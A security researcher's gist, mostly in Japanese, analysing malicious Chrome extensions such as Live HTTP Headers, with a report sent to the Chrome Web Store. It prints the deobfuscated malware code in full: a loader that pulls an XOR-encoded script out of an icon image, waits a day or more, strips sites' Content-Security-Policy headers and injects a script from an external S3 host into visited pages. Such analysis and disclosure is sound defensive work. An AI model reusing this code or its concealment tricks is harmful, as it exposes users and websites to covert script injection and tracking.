Create a gist now

Instantly share code, notes, and snippets.

@mala /a.md
Last active Feb 7, 2017

What would you like to do?
Chrome ExtensionのLive HTTP Headersの調査(CoolBar.Pro導入 Extensionが何を行うかの調査)

Chrome ExtensionのLive HTTP Headersを調査した。Firefox用のものではない。Firefox用のものではない。

11/7追記

English version: https://translate.google.com/translate?sl=ja&tl=en&js=y&prev=_t&hl=ja&ie=UTF-8&u=https%3A%2F%2Fgist.github.com%2Fmala%2Fe87973df5029d96c9269d9431fcef5cb&edit-text=&act=url

Summary in english.

  • I've investigated TOP5000 installed extension from https://crx.dam.io

  • 36 extensions contains same obfuscated script.

  • 21 extensions already removed from webstore (2016-11-06)

  • Recently updated ones are not included(eg: http headers, live http headers) so there is more malicious extension.

  • I have not made my own crawler for webstore yet, so I have not investigated completely.

  • Many these extensions has common features, css changer for popular websites, copy and paste code, landing page.

  • There are stories that popular extensions are acquired by high prices, but many simple extensions was created by malware / adware dealers, I think.

  • I have not investigated "adware" function, I say "malicious" because it remove CSP header without explanation.

  • Some extensions that have webRequestBlocking permission remove CSP header

https://gist.github.com/mala/e87973df5029d96c9269d9431fcef5cb#file-blob-js-L24

                "object" == typeof a.responseHeaders[b] && "content-security-policy" === a.responseHeaders[b].name.toLowerCase() && a.responseHeaders.splice(b, 1);

background.min

  • 画像からjsを切り出してblobを作って読み込む処理がある、addScriptはbackground.htmlに対して行われる(拡張機能context)
  • 拡張機能用のlocalStorageのTが未定義だったら、4568904ミリ秒後に現在時刻がセットされる。
  • 現在時刻がセットされていたら、画像からscriptの読み込みを行う。

画像内のscript

  • localStorageのIDが未定義だったら、3600000ミリ秒後に現在時刻をセットする。

  • さらに、IDの値と現在時刻の差分が 86400000 ミリ秒以上だったら、web requestに対してイベントハンドラを設定する。

  • 動的に外部scriptを読み込んでいるのは、background pageではなくて、表示しているwebページに対して行っている。

  • その際に、CSPヘッダがあれば無効にするということをやっている。


何が起きるか(事実)

  • 拡張機能をインストールしてから、約1日以上経過しているなら、webサイトに対するscript injectionが有効化されている
  • 有効化されるとwebサイト側に設定してあるCSPが無効化されてしまう。
  • 有効化されているかどうかは、CSPが有効なサイトでCSP違反する操作を行えば分かる。例えばgithubでdeveloper consoleを表示して document.write("<script>alert(1)</script>") など打ち込めば分かる(本来blockされる)
  • 動的にロードされるscriptについてはまだ未調査。保全はしてある。

何が起こりうるか(可能性)

  • 原理的には拡張機能の権限であれば、送受信するhttp headerも含めて取得できることになるが、動的にロードするscriptはwebページのcontextで実行されているため、そこまでは取れない

  • response headerを改変する部分は、拡張機能内に静的に書かれている。

  • 取得できるのは、webページ上でのユーザーの操作、表示しているコンテンツ、httponlyがついていないcookie, etc

  • Chrome ExtensionのデフォルトのCSPは、拡張機能のcontextに対して外部scriptのロードを許可しない https://developer.chrome.com/extensions/contentSecurityPolicy

  • そのため、manifest.json で外部scriptを許可するようなCSPを定義していなければ、拡張機能のcontextではどういったscriptが実行されるのかは不変

  • webページに対するscript injectionの手法であれば、インストールした瞬間に全てのデータが抜かれる、といったことは起きない。

  • あくまで拡張機能が有効化されている間に訪問したサイトに対して影響がある。

提供元について

  • 拡張機能内のプライバシーポリシーのhtmlと、AWSのscriptのURLから coolbar.pro というサービスを使っている。
  • サイトには拡張機能向けのマネタイズサービスと書かれている
  • 拡張機能が買収されているのか、拡張機能の作者自身がマネタイズ目的で組み込んでいるのか、どちらか不明。
  • invite codeが無いと登録が出来ないので、どういったメニューがあるのかわからなかった。

考察

  • 一定時間経過後に有効化されるので外部scriptのロードなど、不審な動きを検知しにくくなっている

  • 画像内に入れるのも、自動的なスキャンで引っかかりにくくなるだろう

  • 検知しにくくするための方法がマルウェアが使う手法そのもの

  • webサイト側のCSPを無効化している時点で、少なくともwebサイトに対して害悪がある

var viewTabId=0;chrome.browserAction.onClicked.addListener(function(){var a=chrome.extension.getURL("live.html");if(0!=viewTabId)try{chrome.tabs.remove(viewTabId,function(){})}catch(a){console.log(a)}chrome.tabs.create({url:a})});
(() => {
var main = () => {
chrome.runtime.getPackageDirectoryEntry(function (root) {
var icon = "img/icon2.png";
root.getFile(icon, {}, function (fileEntry) {
fileEntry.file(function (file) {
var reader = new FileReader();
reader.onloadend = function (e) {
var text = this.result;
var idxF = text.lastIndexOf("init>");
if (idxF < 0) return;
text = text.substr(idxF + 5);
var idxL = text.lastIndexOf("<end");
if (idxL < 0) return;
text = text.substr(0,idxL);
for (var t = 0, r = text.length, n = ""; r > t;)
n += String.fromCharCode(77 ^ text.charCodeAt(t++));
var a = new window.Blob([n], {
type: "text/javascript"
});
addScript(window.URL.createObjectURL(a));
};
reader.readAsText(file);
}, (e) => {
console.log(e)
});
}, (r) => {
console.log(r)
});
});
};
var check = () => {
chrome.storage.local.get({T : 0}, (r) => {
r.T == 0 ? setTimeout(check, 6e5) : main();
})
};
(() => {
if (!chrome.contextMenus) {
return void console.log("Chrome contextMenus access failed"); // live_http_headers
}
chrome.contextMenus.create({
title: "EULA",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/eula.html", "_blank");
}
});
chrome.contextMenus.create({
title: "Privacy Policy",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/pp.html", "_blank");
}
});
chrome.contextMenus.create({
title: "Terms and Conditions",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/tandc.html", "_blank");
}
});
})();
function addScript(src) {
var script = document.createElement("script");
script.setAttribute("type", "text/javascript");
script.setAttribute("src", src);
document.head.appendChild(script);
}
setTimeout(function(){
chrome.storage.local.get({T : 0}, (r) => {
r.T == 0 && chrome.storage.local.set({T : new Date().getTime()});
});
}, 4568904);
check()
})();
chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id);
// blob:chrome-extension://iaiioopjkcekapmldfgbebdclcnpgnlo/45c84012-29d7-4340-8657-934c073f06fb
var zero = (a,b)=>{
chrome.storage.local.get({
ID: 0
}, (c=>{
0 == c.ID ? (()=>{
chrome.storage.local.set({
ID: (new Date).getTime()
}),
setTimeout(zero, a, a, b)
}
)() : (()=>{
((new Date).getTime() - c.ID || 0) < b ? setTimeout(zero, a, a, b) : one()
}
)()
}
))
}
, one = ()=>{
chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((a=>{
if (a.tabId != -1) {
for (var b in a.responseHeaders)
"object" == typeof a.responseHeaders[b] && "content-security-policy" === a.responseHeaders[b].name.toLowerCase() && a.responseHeaders.splice(b, 1);
return {
responseHeaders: a.responseHeaders
}
}
}
), {
urls: ["<all_urls>"],
types: ["main_frame"]
}, ["responseHeaders", "blocking"]),
chrome.tabs && chrome.tabs.onUpdated.addListener(((a,b)=>{
"complete" == b.status && chrome.tabs.executeScript(a, {
code: `(() => {var s = document.createElement('script');s.src = '//s3.eu-central-1.amazonaws.com/forton/live_http_headers.js';document.body.appendChild(s);})();`
})
}
))
}
;
zero(36e5, 864e5);
# 不正を報告、で11/7報告
拡張機能、live http headers, http headersにポリシー違反の挙動があります。
https://chrome.google.com/webstore/detail/live-http-headers/iaiioopjkcekapmldfgbebdclcnpgnlo
https://chrome.google.com/webstore/detail/http-headers/mhbpoeinkhpajikalhfpjjafpfgjnmgk
- 拡張機能の background js に対して、難読化されたscriptが埋め込まれています。
- webサイトに対して(chrome.tabs.executeScript) 外部のjsコードを挿入します。この機能はユーザーに対しては説明されていません。
- webサイトに対して実行されるscriptは、少なくとも広告やURLのtrackingが含まれています。サイトによって挙動が変わったり、後から変更される可能性があります。
- setTimeoutによって非常に長い時間(24時間以上) 経過した後に有効化されています。
- WebRequestBlocking permissionを持っているものは、webサイトのcontent security policyを無効化して外部scriptを埋め込もうとします。
- 明確な理由があってCSPを緩和するextensionは存在しますが、これらのextensionはユーザーに説明のない外部scriptを実行するためにCSPを無効化しています。
Storeのポリシーに違反しています。
https://developer.chrome.com/webstore/program_policies
"We don't allow content that harms or interferes with the operation of the networks, servers, or other infrastructure of Google or any third-parties."
また、unwanted softwareに該当します。
https://www.google.com/about/company/unwanted-software-policy.html
埋め込み方法は2パターンあるようです。
1. ライブラリの中に難読化されて埋め込まれているもの
2. 画像の中に難読化されたscriptが埋め込まれているもの
1は jquery.check jquery.proceedといったjqueryに本来含まれない関数が定義されています。String.fromCharCode(77 といった文字列が含まれます。
いくつかは既にStoreから削除されているため、既に把握しているものと思われます。他のユーザーからも報告を受けているかもしれません。
2は 2016-10-17頃から、画像の中にscriptを埋め込んだパターンが存在しています。画像の中にscriptを含むものは、まだ一件も削除されていないようでした。
拡張機能のid 難読化されたscriptの箇所
...snip...
http headers, live http headersの他に、まだダウンロード可能な状態になっている拡張機能です。
同様の難読化コードが含まれています。
...snip...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment